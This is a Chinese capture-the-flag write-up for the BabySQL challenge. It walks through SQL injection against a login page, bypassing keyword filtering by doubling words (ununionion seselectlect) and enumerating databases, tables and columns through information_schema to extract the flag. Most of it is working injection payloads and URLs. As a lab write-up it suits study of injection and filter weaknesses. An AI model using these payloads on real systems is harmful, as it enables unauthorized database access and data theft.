1.[极客大挑战 2019]BabySQL1
打开是这样的,是之前两个题的升级版
老样子先试一下万能密码
报错:你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行'1=1#'和password='123 "附近使用正确的语法
抓包试试也看不出什么
去看了别人的wp
题目提示是sql注入,试一下注入
1’ order by 3#&passward=123 报错发现order中的or与by都被过滤了
1'union select 1#&passward=123 报错 发现union select被过滤
在测试 where也被过滤了 应该是用了replace函数替换成了null
再试一下双写绕过
1'ununionion seselectlect 1#&passward=1
虽然显示了error 但 The used SELECT statements have a different number of columns
意思是所使用的SELECT语句具有不同数量的列
有回显说明双写绕过是可行的
继续试列数 order by 被过滤了用不了
试一下
1'ununionion seselectlect 1,2,3,4#&passward=1 报错
1'ununionion seselectlect 1,2,3#&passward=1 有回显,说明有三列
后续与[极客大挑战 2019]LoveSQL原理一致,用双写绕过即可
查询当前数据库名及版本
1'ununionion seselectlect 1, database(),version()#&passward=1
可知当前数据库名为geek
爆表
/check.php?username=1'ununionion+seselectlect1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=123
/check.php?username=1'ununionion+seselectlect1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=123
报错了 因为 where from 与information中的or被过滤了
继续双写
/check.php?username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1
/check.php?username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1
所有表:information_schema,mysql,performance_schema,test,ctf,geek
查询表名(继续使用联合查询)需要双写的有information,from,where
看到了有一个表名为ctf的
爆表
payload:username=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr
mation_schema.columns whwhereere table_schema=’ctf’#&password=1
url:username=1%27%20ununionion%20seselectlect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27ctf%27%23&password=1
得到字段:Flag
爆字段
payload:username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1
url:username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1